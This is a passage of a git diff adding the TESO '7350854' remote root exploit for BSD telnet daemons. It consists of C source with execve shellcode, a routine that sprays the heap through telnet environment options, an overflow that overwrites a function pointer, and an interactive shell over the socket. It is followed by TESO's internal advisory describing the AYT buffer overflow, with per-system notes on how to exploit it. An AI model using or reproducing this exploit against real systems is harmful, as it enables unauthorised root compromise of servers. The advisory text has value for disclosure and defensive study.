112 "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
113 "\x80";
114
115/* x86/bsd PIC execve shellcode
116 * by lorian/teso
117 */
118unsigned char x86_bsd_execvesh[] =
119 "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
120 "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";
121
122/* x86/bsd(i)+solaris execve shellcode
123 * by lorian/teso
124 */
125unsigned char x86_bsd_compaexec[] =
126 "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0"
127 "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b"
128 "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
129 "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7";
130
131
132unsigned char * shellcode = x86_bsd_compaexec;
133
134
135#define COL 55
136
137
138void
139usage (char *progname)
140{
141 fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname);
142 fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n"
143 "-c\tcheck exploitability only, do not exploit\n"
144 "-f\tforce mode, override check results\n\n");
145 fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n"
146 "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n"
147 "take that, or it will take very long for it (> 1h). beware.\n\n");
148
149 fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n"
150 "\tNetBSD 1.5\n"
151 "\tBSDI BSD/OS 4.1\n\n");
152
153 exit (EXIT_FAILURE);
154}
155
156int
157main (int argc, char *argv[])
158{
159 char c;
160 char * progname;
161 char * dest;
162 int i, j, fd,
163 dots = 0;
164 int popc;
165 struct timeval start,
166 cur;
167 unsigned long long int g_pct, /* gaussian percentage */
168 g_all; /* gaussian overall */
169
170
171 fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
172 "by zip, lorian, smiler and scut.\n\n");
173
174 progname = argv[0];
175 if (argc < 2)
176 usage (progname);
177
178
179 while ((c = getopt (argc, argv, "n:cf")) != EOF) {
180 switch (c) {
181 case 'n':
182 num = atoi (optarg);
183 break;
184 case 'c':
185 checkonly = 1;
186 break;
187 case 'f':
188 force = 1;
189 break;
190 default:
191 usage (progname);
192 break;
193 }
194 }
195
196 dest = argv[argc - 1];
197 if (dest[0] == '-')
198 usage (progname);
199
200 fd = net_connect (NULL, dest, 23, 20);
201 if (fd <= 0) {
202 fprintf (stderr, "failed to connect\n");
203 exit (EXIT_FAILURE);
204 }
205
206 random_init ();
207
208 if (xp_check (fd) == 0 && force == 0) {
209 printf ("aborting\n");
210#ifndef DEBUG
211 exit (EXIT_FAILURE);
212#endif
213 }
214 close (fd);
215
216 if (checkonly)
217 exit (EXIT_SUCCESS);
218
219 fd = net_connect (NULL, dest, 23, 20);
220 if (fd <= 0) {
221 fprintf (stderr, "failed to connect the second time\n");
222 exit (EXIT_FAILURE);
223 }
224
225 printf ("\n#############################################################################\n\n");
226 printf ("ok baby, times are rough, we send %dmb traffic to the remote\n"
227 "telnet daemon process, it will spill badly. but then, there is no\n"
228 "other way, sorry...\n\n", mode);
229
230#ifdef DEBUG
231 getchar ();
232#endif
233 printf ("## setting populators to populate heap address space\n");
234
235 g_all = ((unsigned long long int)(pop / 2)) *
236 ((unsigned long long int)(pop + 1));
237 g_pct = 0;
238
239 printf ("## number of setenvs (dots / network): %d\n", pop);
240 printf ("## number of walks (percentage / cpu): %Lu\n", g_all);
241 printf ("##\n");
242 printf ("## the percentage is more realistic than the dots ;)\n");
243 printf ("\n");
244 printf ("percent |");
245
246 popc = pop / COL;
247 for (i = pop / popc ; i >= 0 ; --i)
248 printf ("-");
249 printf ("| ETA |\n");
250
251 gettimeofday (&start, NULL);
252
253 for (walk = 0 ; walk < pop ; ++walk) {
254 xp_pop (fd);
255
256 g_pct += walk;
257
258 if (walk % popc == 0)
259 dots += 1;
260
261 if (walk % 200 == 0) {
262 int pct;
263 float pct_f;
264 unsigned long int diff;
265
266 pct = (int) ((g_pct * 100) / g_all);
267 pct_f = g_pct * 100;
268 pct_f /= (float) g_all;
269
270 /* calculate difference not caring about accuracy */
271 gettimeofday (&cur, NULL);
272 diff = cur.tv_sec - start.tv_sec;
273
274 printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ?
275 "\r %2.2f%% |" : "\r %1.2f%% |"), pct_f);
276 for (j = 0 ; j < dots ; ++j)
277 printf (".");
278 for ( ; j <= COL ; ++j)
279 printf (" ");
280
281 if (pct != 0) {
282 diff = (int) ((((float)(100 - pct_f)) /
283 (float) pct_f) * diff);
284 printf ("| %02lu:%02lu:%02lu |",
285 diff / 3600, (diff % 3600) / 60,
286 diff % 60);
287 } else {
288 printf ("| --:--:-- |");
289 }
290
291 fflush (stdout);
292 }
293 }
294 printf ("\n\n");
295
296 printf ("## sleeping for 10 seconds to let the process recover\n");
297 sleep (10);
298
299#ifdef DEBUG
300 getchar ();
301#endif
302 /* return into 0x08feff0a */
303 xp (fd);
304 sleep (1);
305
306 printf ("## ok, you should now have a root shell\n");
307 printf ("## as always, after hard times, there is a reward...\n");
308 printf ("\n\ncommand: ");
309 fflush (stdout);
310
311 shell (fd);
312
313 exit (EXIT_SUCCESS);
314}
315
316
317void
318xp (int fd)
319{
320 int n;
321 unsigned char buf[2048];
322
323
324 /* basic overflow */
325 for (n = bs ; n < sizeof (buf) ; ++n)
326 buf[n] = (n - bs) % 2 ? '\xf6' : '\xff';
327
328 /* some nifty alignment */
329 buf[0] = '\xff'; /* IAC */
330 buf[1] = '\xf5'; /* AO */
331
332 if (mode == 16) {
333 buf[2] = '\xff'; /* IAC */
334 buf[3] = '\xfb'; /* WILL */
335 buf[4] = '\x26'; /* ENCRYPTION */
336 }
337
338 /* force 0x08feff0a as return */
339 buf[num++] = '\xff';
340 buf[num++] = '\xfb';
341 buf[num++] = '\x08';
342
343 /* and the output_encrypt overwrite action, yay! */
344 buf[num++] = '\xff';
345 buf[num++] = '\xf6';
346
347 /* XXX: should not fail here, though we should better loop and check */
348 n = send (fd, buf, num, 0);
349 if (n != num) {
350 perror ("xp:send");
351 }
352}
353
354
355#ifdef INSANE_MIND
356
357void
358xp_shrinkwin (int fd)
359{
360 int n;
361 int iobc;
362 int p = 0;
363 unsigned char buf[2048];
364 char c;
365 int val;
366 int len;
367
368 for (n = 0 ; n < sizeof (buf) ; ++n)
369 buf[n] = n % 2 ? '\xf6' : '\xff';
370
371 len = sizeof (val);
372 getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
373 printf ("SO_SNDLOWAT = %d\n", val);
374 val = 1;
375 printf ("setsockopt: %s\n",
376 setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ?
377 "FAILED" : "SUCCESS");
378 val = 1234;
379 getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
380 printf ("SO_SNDLOWAT = %d\n", val);
381
382 getchar();
383 while (1) {
384 if (p > 105)
385 c = getchar();
386 if (c == 'r') {
387 getchar();
388 read (fd, &buf[1024], 384);
389 } else if (c == 'o') {
390 getchar();
391 send (fd, "7", 1, MSG_OOB);
392 } else if (c != 'r') {
393 usleep(100000);
394 n = send (fd, buf, 112, 0);
395 ioctl (fd, FIONREAD, &iobc);
396 len = sizeof (val);
397 getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len);
398 printf ("%02d. send: %d local: %d/%d (%d left)\n",
399 ++p, n, iobc, val, val - iobc);
400 }
401 }
402}
403#endif
404
405
406/* xp_pop - populator function
407 *
408 * causes remote telnet daemon to setenv() variables with our content, populating
409 * the heap with shellcode. this will get us more nopspace and place our shellcode
410 * where the nice addresses are, that we can create by writing telnet option
411 * strings.
412 *
413 * XXX: there seems to be a maximum size for the environment value you can set,
414 * which is 510. we use 496 bytes for nopspace and shellcode therefore.
415 * should work, rather similar to tsig tcp/malloc exploitation. -sc
416 */
417
418void
419xp_pop (int fd)
420{
421 unsigned char var[16];
422 unsigned char storebuf[496];
423 sprintf (var, "%06x", walk);
424#ifdef DEBUG
425 memset (storebuf, '\xcc', sizeof (storebuf));
426#else
427/* memset (storebuf, '\x90', sizeof (storebuf)); */
428 x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
429 memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1,
430 shellcode, strlen (shellcode));
431#endif
432 storebuf[sizeof (storebuf) - 1] = '\0';
433
434 xp_setenv (fd, var, storebuf);
435}
436
437
438void
439xp_setenv (int fd, unsigned char *var, unsigned char *val)
440{
441 int n = 0;
442 unsigned char buf[2048];
443
444 buf[n++] = IAC;
445 buf[n++] = SB;
446 buf[n++] = TELOPT_NEW_ENVIRON;
447 buf[n++] = TELQUAL_IS;
448 buf[n++] = ENV_USERVAR;
449
450 /* should not contain < 0x04 */
451 while (*var) {
452 if (*var == IAC)
453 buf[n++] = *var;
454 buf[n++] = *var++;
455 }
456 buf[n++] = NEW_ENV_VALUE;
457 while (*val) {
458 if (*val == IAC)
459 buf[n++] = *val;
460 buf[n++] = *val++;
461 }
462 buf[n++] = IAC;
463 buf[n++] = SE;
464
465 if (send (fd, buf, n, 0) != n) {
466 perror ("xp_setenv:send");
467 exit (EXIT_FAILURE);
468 }
469}
470
471
472int
473xp_check (int fd)
474{
475 int n;
476 unsigned int expect_len = 15;
477 unsigned char expected[] =
478 "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26";
479 /* \r \n [ Y e s ] \r \n IAC DONT 08 IAC DO 26*/
480 unsigned int additional_len = 8;
481 unsigned char additional[] =
482 "\xff\xfa\x26\x01\x01\x02\xff\xf0";
483 /*IAC SB ENC ........... IAC SE */
484
485 unsigned char buf[128];
486
487 read (fd, buf, sizeof (buf));
488
489 n = 0;
490 buf[n++] = IAC; /* 0xff */
491 buf[n++] = AYT; /* 0xf6 */
492
493 buf[n++] = IAC; /* 0xff */
494 buf[n++] = WILL; /* 0xfb */
495 buf[n++] = TELOPT_NAOL; /* 0x08 */
496
497 buf[n++] = IAC; /* 0xff */
498 buf[n++] = WILL; /* 0xfb */
499 buf[n++] = TELOPT_ENCRYPT; /* 0x26 */
500
501#ifdef DEBUG
502 hexdump ("check send buffer", buf, n);
503#endif
504 if (send (fd, buf, n, 0) != n) {
505 perror ("xp_check:send");
506 exit (EXIT_FAILURE);
507 }
508
509 n = read (fd, buf, sizeof (buf));
510#ifdef DEBUG
511 hexdump ("check recv buffer", buf, n);
512#endif
513
514 if (memcmp (buf, expected, expect_len) == 0) {
515 if (memcmp (buf+expect_len, additional, additional_len) == 0) {
516 mode = 16;
517 } else {
518 mode = 34;
519 bs = bs34;
520 }
521 printf ("check: PASSED, using %dmb mode\n", mode);
522
523 return (1);
524 }
525
526 printf ("check: FAILED\n");
527
528 return (0);
529}
530
531
532void
533shell (int sock)
534{
535 int l;
536 char buf[512];
537 fd_set rfds;
538
539
540 while (1) {
541 FD_SET (0, &rfds);
542 FD_SET (sock, &rfds);
543
544 select (sock + 1, &rfds, NULL, NULL, NULL);
545 if (FD_ISSET (0, &rfds)) {
546 l = read (0, buf, sizeof (buf));
547 if (l <= 0) {
548 perror ("read user");
549 exit (EXIT_FAILURE);
550 }
551 write (sock, buf, l);
552 }
553
554 if (FD_ISSET (sock, &rfds)) {
555 l = read (sock, buf, sizeof (buf));
556 if (l <= 0) {
557 perror ("read remote");
558 exit (EXIT_FAILURE);
559 }
560 write (1, buf, l);
561 }
562 }
563}
564
565
566/* ripped from zodiac */
567void
568hexdump (char *desc, unsigned char *data, unsigned int amount)
569{
570 unsigned int dp, p; /* data pointer */
571 const char trans[] =
572 "................................ !\"#$%&'()*+,-./0123456789"
573 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
574 "nopqrstuvwxyz{|}~...................................."
575 "....................................................."
576 "........................................";
577
578
579 printf ("/* %s, %u bytes */\n", desc, amount);
580
581 for (dp = 1; dp <= amount; dp++) {
582 fprintf (stderr, "%02x ", data[dp-1]);
583 if ((dp % 8) == 0)
584 fprintf (stderr, " ");
585 if ((dp % 16) == 0) {
586 fprintf (stderr, "| ");
587 p = dp;
588 for (dp -= 16; dp < p; dp++)
589 fprintf (stderr, "%c", trans[data[dp]]);
590 fflush (stderr);
591 fprintf (stderr, "\n");
592 }
593 fflush (stderr);
594 }
595 if ((amount % 16) != 0) {
596 p = dp = 16 - (amount % 16);
597 for (dp = p; dp > 0; dp--) {
598 fprintf (stderr, " ");
599 if (((dp % 8) == 0) && (p != 8))
600 fprintf (stderr, " ");
601 fflush (stderr);
602 }
603 fprintf (stderr, " | ");
604 for (dp = (amount - (16 - p)); dp < amount; dp++)
605 fprintf (stderr, "%c", trans[data[dp]]);
606 fflush (stderr);
607 }
608 fprintf (stderr, "\n");
609
610 return;
611}
612
613
614
615unsigned long int
616net_resolve (char *host)
617{
618 long i;
619 struct hostent *he;
620
621 i = inet_addr(host);
622 if (i == -1) {
623 he = gethostbyname(host);
624 if (he == NULL) {
625 return (0);
626 } else {
627 return (*(unsigned long *) he->h_addr);
628 }
629 }
630 return (i);
631}
632
633
634int
635net_connect (struct sockaddr_in *cs, char *server,
636 unsigned short int port, int sec)
637{
638 int n,
639 len,
640 error,
641 flags;
642 int fd;
643 struct timeval tv;
644 fd_set rset, wset;
645 struct sockaddr_in csa;
646
647 if (cs == NULL)
648 cs = &csa;
649
650 /* first allocate a socket */
651 cs->sin_family = AF_INET;
652 cs->sin_port = htons (port);
653 fd = socket (cs->sin_family, SOCK_STREAM, 0);
654 if (fd == -1)
655 return (-1);
656
657 if (!(cs->sin_addr.s_addr = net_resolve (server))) {
658 close (fd);
659 return (-1);
660 }
661
662 flags = fcntl (fd, F_GETFL, 0);
663 if (flags == -1) {
664 close (fd);
665 return (-1);
666 }
667 n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
668 if (n == -1) {
669 close (fd);
670 return (-1);
671 }
672
673 error = 0;
674
675 n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
676 if (n < 0) {
677 if (errno != EINPROGRESS) {
678 close (fd);
679 return (-1);
680 }
681 }
682 if (n == 0)
683 goto done;
684
685 FD_ZERO(&rset);
686 FD_ZERO(&wset);
687 FD_SET(fd, &rset);
688 FD_SET(fd, &wset);
689 tv.tv_sec = sec;
690 tv.tv_usec = 0;
691
692 n = select(fd + 1, &rset, &wset, NULL, &tv);
693 if (n == 0) {
694 close(fd);
695 errno = ETIMEDOUT;
696 return (-1);
697 }
698 if (n == -1)
699 return (-1);
700
701 if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
702 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
703 len = sizeof(error);
704 if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
705 errno = ETIMEDOUT;
706 return (-1);
707 }
708 if (error == 0) {
709 goto done;
710 } else {
711 errno = error;
712 return (-1);
713 }
714 }
715 } else
716 return (-1);
717
718done:
719 n = fcntl(fd, F_SETFL, flags);
720 if (n == -1)
721 return (-1);
722 return (fd);
723}
724
725
726/* imported from shellkit */
727
728unsigned long int
729random_get (unsigned long int low, unsigned long int high)
730{
731 unsigned long int val;
732
733 if (low > high) {
734 low ^= high;
735 high ^= low;
736 low ^= high;
737 }
738
739 val = (unsigned long int) random ();
740 val %= (high - low);
741 val += low;
742
743 return (val);
744}
745
746
747void
748random_init (void)
749{
750 srandom (time (NULL));
751}
752
753
754int
755bad (unsigned char u)
756{
757 if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25')
758 return (1);
759
760 return (0);
761}
762
763int
764badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len)
765{
766 int n;
767
768 for (code_len -= 1 ; code_len >= 0 ; --code_len) {
769 for (n = 0 ; n < bad_len ; ++n)
770 if (code[code_len] == bad[n])
771 return (1);
772 }
773
774 return (0);
775}
776
777unsigned long int
778x86_nop_rwreg (void)
779{
780 unsigned long int reg;
781
782 do {
783 reg = random_get (0, 7);
784 } while (reg == 4); /* 4 = $esp */
785
786 return (reg);
787}
788
789
790
791unsigned long int
792x86_nop_xfer (char *xferstr)
793{
794 int bw = 0; /* bitfield walker */
795 unsigned char tgt; /* resulting instruction */
796
797 /* in a valid xferstr we trust */
798 for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) {
799 switch (xferstr[0]) {
800 case ('0'):
801 BSET (tgt, 1, 0, bw);
802 break;
803 case ('1'):
804 BSET (tgt, 1, 1, bw);
805 break;
806 case ('r'):
807 BSET (tgt, 3, x86_nop_rwreg (), bw);
808 break;
809 case ('.'):
810 break; /* ignore */
811 default:
812 fprintf (stderr, "on steroids, huh?\n");
813 exit (EXIT_FAILURE);
814 break;
815 }
816 }
817
818 if (bw != 8) {
819 fprintf (stderr, "invalid bitwalker: bw = %d\n", bw);
820 exit (EXIT_FAILURE);
821 }
822
823 return (tgt);
824}
825
826
827unsigned int
828x86_nop (unsigned char *dest, unsigned int dest_len,
829 unsigned char *bad, int bad_len)
830{
831 int walk;
832 int bcount; /* bad counter */
833 char * xs;
834 char * xferstr[] = {
835 "0011.0111", /* aaa */
836 "0011.1111", /* aas */
837 "1001.1000", /* cbw */
838 "1001.1001", /* cdq */
839 "1111.1000", /* clc */
840 "1111.1100", /* cld */
841 "1111.0101", /* cmc */
842 "0010.0111", /* daa */
843 "0010.1111", /* das */
844 "0100.1r", /* dec <reg> */
845 "0100.0r", /* inc <reg> */
846 "1001.1111", /* lahf */
847 "1001.0000", /* nop */
848 "1111.1001", /* stc */
849 "1111.1101", /* std */
850 "1001.0r", /* xchg al, <reg> */
851 NULL,
852 };
853 unsigned char tgt;
854
855
856 for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) {
857 /* avoid endless loops on excessive badlisting */
858 for (bcount = 0 ; bcount < 16384 ; ++bcount) {
859 xs = xferstr[random_get (0, 15)];
860 tgt = x86_nop_xfer (xs);
861
862 dest[walk] = tgt;
863 if (badstr (&dest[walk], 1, bad, bad_len) == 0)
864 break;
865 }
866
867 /* should not happen */
868 if (bcount >= 16384) {
869 fprintf (stderr, "too much blacklisting, giving up...\n");
870 exit (EXIT_FAILURE);
871 }
872 }
873
874 return (walk);
875}
876
877
diff --git a/exploits/7350854/7350854.id0 b/exploits/7350854/7350854.id0
new file mode 100644
index 0000000..5b092a6
--- /dev/null
+++ b/exploits/7350854/7350854.id0
Binary files differ
diff --git a/exploits/7350854/7350854.id1 b/exploits/7350854/7350854.id1
new file mode 100644
index 0000000..96f808d
--- /dev/null
+++ b/exploits/7350854/7350854.id1
Binary files differ
diff --git a/exploits/7350854/7350854.nam b/exploits/7350854/7350854.nam
new file mode 100644
index 0000000..3ff1397
--- /dev/null
+++ b/exploits/7350854/7350854.nam
Binary files differ
diff --git a/exploits/7350854/7350854.til b/exploits/7350854/7350854.til
new file mode 100644
index 0000000..ab7e149
--- /dev/null
+++ b/exploits/7350854/7350854.til
Binary files differ
diff --git a/exploits/7350854/teso-advisory-011.tar.gz b/exploits/7350854/teso-advisory-011.tar.gz
new file mode 100644
index 0000000..8d5f544
--- /dev/null
+++ b/exploits/7350854/teso-advisory-011.tar.gz
Binary files differ
diff --git a/exploits/7350854/teso-advisory-011.txt b/exploits/7350854/teso-advisory-011.txt
new file mode 100644
index 0000000..1c1bcbc
--- /dev/null
+++ b/exploits/7350854/teso-advisory-011.txt
@@ -0,0 +1,307 @@
1
2
3WARNING: THIS IS NOT TO BE DISCLOSED TO ANYONE OUTSIDE OF TESO
4
5THIS IS A PRELIMINARY VERSION OF THE ADVISORY, IT WILL ONLY BE RELEASED IN
6CASE OF LEAKAGE OF THE EXPLOIT/VULNERABILITY.
7
8btw, i have securely stamped myself the vulnerability, i can proof at any
9point, that we knew it on 2001/06/12 or before.
10(i found it on 2001/06/09)
11
12------
13
14TESO Security Advisory
1506/10/2001
16
17Multiple vendor Telnet Daemon vulnerability
18
19
20Summary
21===================
22
23 Within most of the current telnet daemons in use today there exist a buffer
24 overflow in the telnet option handling. Under certain circumstances it may
25 be possible to exploit it to gain root priviledges remotely.
26
27
28Systems Affected
29===================
30
31
32Tests
33===================
34
35 System | vulnerable | exploitable *
36 ----------------------------------------+--------------+------------------
37 BSDI 4.x default | yes | yes
38 FreeBSD [2345].x default | yes | yes
39 IRIX 6.5 | yes | no
40 Linux netkit-telnetd < 0.14 | yes | ?
41 Linux netkit-telnetd >= 0.14 | no |
42 NetBSD 1.x default | yes | yes
43 OpenBSD 2.x | yes | ?
44 OpenBSD current | no |
45 Solaris 2.x sparc | yes | ?
46 ----------------------------------------+--------------+------------------
47
48 * = From our analysis and conclusions, which may not be correct or we may
49 have overseen things. Do not rely on this.
50
51 Details about the systems can be found below.
52
53
54Impact
55===================
56
57 Through sending a specially formed option string to the remote telnet
58 daemon a remote attacker might be able to overwrite sensitive information
59 on the static memory pages. If done properly this may result in arbitrary
60 code getting executed on the remote machine under the priviledges the
61 telnet daemon runs on, usually root.
62
63
64Explanation
65===================
66
67 Within every BSD derived telnet daemon under UNIX the telnet options are
68 processed by the 'telrcv' function. This function parses the options
69 according to the telnet protocol and its internal state. During this
70 parsing the results which should be send back to the client are stored
71 within the 'netobuf' buffer. This is done without any bounds checking,
72 since it is assumed that the reply data is smaller than the buffer size
73 (which is BUFSIZ bytes, usually).
74
75 However, using a combination of options, especially the 'AYT' Are You There
76 option, it is possible to append data to the buffer, usually nine bytes
77 long. To trigger this response, two bytes in the input buffer are
78 necessary. Since this input buffer is BUFSIZ bytes long, you can exceed the
79 output buffer by as much as (BUFSIZ / 2) * 9) - BUFSIZ bytes. For the
80 common case that BUFSIZ is defined to be 1024, this results in a buffer
81 overflow by up to 3584 bytes. On systems where BUFSIZ is defined to be
82 4096, this is an even greater value (14336).
83
84 Due to the limited set of characters an attacker is able to write outside
85 of the buffer it is difficult - if not impossible on some systems - to
86 exploit this buffer overflow. Another hurdle for a possible attacker may be
87 the lack of interesting information to modify after the buffer.
88
89 This buffer overflow should be considered serious nevertheless, since
90 experience has shown that even complicated vulnerabilities can be
91 exploited by skilled attackers, BIND TSIG and SSH deattack come to mind.
92
93
94 Individual system notes
95 =======================
96
97 These notes include our rating about exploitability on the individual
98 systems. This may be invalid, due to us overlooking things or may be even
99 plain wrong. Also only the most common versions have been analyzed. If you
100 want to write an exploit, start here.
101
102
103 FreeBSD 4.0-REL
104 FreeBSD 4.2-REL
105 FreeBSD 4.3-BETA
106 NetBSD 1.5
107 ----------------
108
109 The binaries of the 4.0-REL (781de77b29f1fc14daab6adefa31e6b9), 4.2-REL
110 (a0491784c6bd4662adc4eb806138f6f8) and 4.3-BETA
111 (ae32821691419385103f3ca7cef89703) release of the FreeBSD operating system
112 and the 1.5 release (e36b5295ae58821eab4d574e729bf356) of the NetBSD
113 operating system, the telnet daemon contains a function pointer
114 'encrypt_output' near behind the 'netobuf' buffer, which we can overwrite.
115 This function pointer is used under certain circumstances to encrypt the
116 outgoing telnet traffic, which is called from the 'netflush' function.
117
118 By overwriting this pointer in a special way one can make it point to the
119 upper heap space. By abusing the telnet daemons setenv functionality prior
120 to the overflow one can populate the upper heap space with shellcode and
121 nops, right there, where the function pointer will point to.
122
123 The exploitation works in multiple phases:
124
125 1. Sending of ~16mb (32000 x 510 byte) bytes of nop space and shellcode
126 2. Aligning the 'nfrontp' pointer to have this position
127
128 ... | 0x00 . 0x00 0x00 0x00 | ...
129
130 Where '|' is the boundary to the function pointer after the 'netobuf'
131 buffer. The '.' position marks where 'nfrontp' points at
132 3. Send an 'IAC WILL 0x08' sequence, which will write:
133
134 ... | 0x00 0xff 0xfb 0x08 | . 0x00 ...
135
136 4. Trigger the function pointer by causing the telnet daemon to call
137 'netflush'
138
139 Step 1 is a tedious process and can even locally take a few minutes,
140 because the entire environment array is walked every time a setenv is
141 called, to check whether the environment variable already exists. Steps 2
142 to 4 are within a final overflow buffer, they are only seperated here for
143 clearness. The alignment in step 2 can be a problem since we can usually
144 only advance the 'nfrontp' pointer by three (IAC WILL|WONT|DO|DONT OPT
145 sequence) or nine ("\r\n[Yes]\r\n") bytes. To come around this we need an
146 advancement 'n' for that is true: n mod 3 = 1. XXX/TODO: write
147
148
149 FreeBSD 4.3-REL
150 ---------------
151
152 Is not affected by the function pointer method. But the 'envinit' array is
153 behind the buffer. Normally the 'envinit' array is used to initialize the
154 'environ' pointer with. The 'envinit' array is in the static memory too and
155 can be overwritten.
156
157 Once setenv is called within the telnetd process, the FreeBSD C library
158 detects that the 'environ' environment pointer points to non allocated
159 space ('alloced' global variable is 0) and creates a copy of the array
160 within the heap space. From there on, all of the telnet daemons setenv
161 requests are inserted within this malloc-stored array and the 'envinit'
162 array, which we can overwrite, becomes useless.
163
164 XXX/Proposed exploitation method:
165
166 Overwrite envinit[0] with a valid pointer to an environment string such as
167 "LD_PRELOAD=/tmp/foo.so". Normally the clients environment set requests are
168 checked for sanity and invalid values such as "LD_*", "_RLD_*" and
169 "SHELLINIT" are avoided. By using this raw overwrite method we may have a
170 chance to inject an environment string directly into the environment array.
171 To make this work a few things have to be considered. First, the pointer
172 must be valid and point to mapped space. By overwritting the pointer and
173 then continuing the normal telnet login we may be able to trick the linker
174 into loading our bogus libraries. This would be a local root exploit or a
175 remote one, if we are able to store files on the remote host.
176
177
178 IRIX 6.5
179 --------
180
181 The good thing about IRIX telnet daemon is that it comes with symbols. The
182 bad thing however is that it does not look to be exploitable. The memory
183 layout is quite easy (/usr/etc/telnetd is a N32 binary):
184
185 sizes: (4160) | (4) | (4) |
186 what: netobuf | nfrontp | pfrontp | ...
187
188 They define - as various other telnet daemons do - an extra bogus space to
189 the 'netobuf' buffer, which is 64 bytes (called "NETSLOP" in other daemons
190 sources). 'BUFSIZ' is defined to 1024 by default on IRIX, so at first
191 glance you might think it is a problem to overwrite 4160 bytes, but it is
192 not for that we can send fragmented TCP frames which can be up to 64
193 kilobytes in size. So we can make a 4096 input buffer read without problems.
194
195 But the real problem is the 'nfrontp'. Normally the decent MIPSPro C
196 Compiler optimizes as much pointers into registers as possible, but the
197 'nfrontp' is defined static and used across all over the code, therefore
198 its memory bound into its place and always synced with its real value. If
199 we overwrite just parts of it, it reacts very sensitive and crashes at any
200 read/write access to it. Since IRIX uses the big endian mode of the MIPS
201 CPU the 'nfrontp' is stored with the most significant byte first in the
202 memory. It points to 'netobuf' which is defined on the '.bss' segment,
203 which is located at my installation at: 0x7fc49b70 to 0x7fc4f324. The
204 'nfrontp' content looks like:
205
206 ... (netobuf) ... | 0x7f 0xc4 0xcd 0xa8 | ...
207
208 Since the 'nfrontp' is constantly accessed throughout the code, one has to
209 make it always containing a sane value. Only the mapped areas of the
210 process can be used for this, which are summarized, your addresses may vary:
211
212 0x7fff0000->0x7fff8000 stack
213 0x0f9ec000->0x0fbe8000 various mapped files/libraries
214 0x7fc00114->0x7fc4f400 .text/.*data/.bss and rest
215
216 There may be a way by excessive grow of the heap by using setenv, some more
217 research for this architecture is required to draw a decision. From the
218 current point of view its very difficult, if not impossible to exploit this
219 bug on this binary.
220
221
222 Linux netkit-telnetd version < 0.14
223 -----------------------------------
224
225 XXX/TODO:
226
227
228 Linux netkit-telnetd version >= 0.14
229 ------------------------------------
230
231 Linux netkit-telnetd from version 0.14 is not directly affected by this bug
232 since they wrap a lot of storing operations which utilize 'nfrontp' in a
233 function 'netoprintf', which does boundary checking.
234
235 However it has to be checked for a one byte overflow, which may be possible
236 at multiple occurances of the code, due to the insecure nature of handling
237 'nfrontp'. Then, the following code in the function 'netoprintf' may fail
238 to do the boundary checking:
239
240 int len, maxsize;
241
242 maxsize = sizeof(netobuf) - (nfrontp - netobuf);
243
244 va_start(ap, fmt);
245 len = vsnprintf(nfrontp, maxsize, fmt, ap);
246 va_end(ap);
247
248 In case (nfrontp - netobuf) is greater than sizeof(netobuf), the integer
249 'maxsize' will turn negative and casted to a very large value in the
250 snprintf handling, which makes it behave like sprintf without any boundary
251 checking.
252
253
254Solution
255===================
256
257 The vendors have been notified of the problem at the same time as the
258 general public, vendor patches for your telnet daemon that fix the bug will
259 show up soon.
260
261 Sometimes a fix might not be trivial and require a lot of changes to the
262 source code, due to the insecure nature the 'nfrontp' pointer is handled.
263 The best long term solution is to disable the telnet daemon at all, since
264 there are good and free replacements.
265
266
267Acknowledgements
268===================
269
270 The bug has been discovered by scut.
271
272 The tests and further analysis were done by smiler, zip and scut.
273
274
275Contact Information
276===================
277
278 The TESO crew can be reached by mailing to teso@team-teso.net
279 Our web page is at http://www.team-teso.net/
280
281
282References
283===================
284
285 [1] TESO
286 http://www.team-teso.net/
287
288
289Disclaimer
290===================
291
292 This advisory does not claim to be complete or to be usable for any
293 purpose. Especially information on the vulnerable systems may be inaccurate
294 or wrong. Possibly supplied exploit code is not to be used for malicious
295 purposes, but for educational purposes only.
296
297 This advisory is free for open distribution in unmodified form.
298 Articles that are based on information from this advisory should include
299 link [1].
300
301
302Exploit
303===================
304
305------
306
307
diff --git a/exploits/7350854/teso-advisory-011/teso-advisory-011.txt b/exploits/7350854/teso-advisory-011/teso-advisory-011.txt
new file mode 100644
index 0000000..64e9e71
--- /dev/null
+++ b/exploits/7350854/teso-advisory-011/teso-advisory-011.txt
@@ -0,0 +1,153 @@
1-----BEGIN PGP SIGNED MESSAGE-----
2Hash: SHA1
3
4
5- ------
6
7TESO Security Advisory
806/10/2001
9
10Multiple vendor Telnet Daemon vulnerability
11
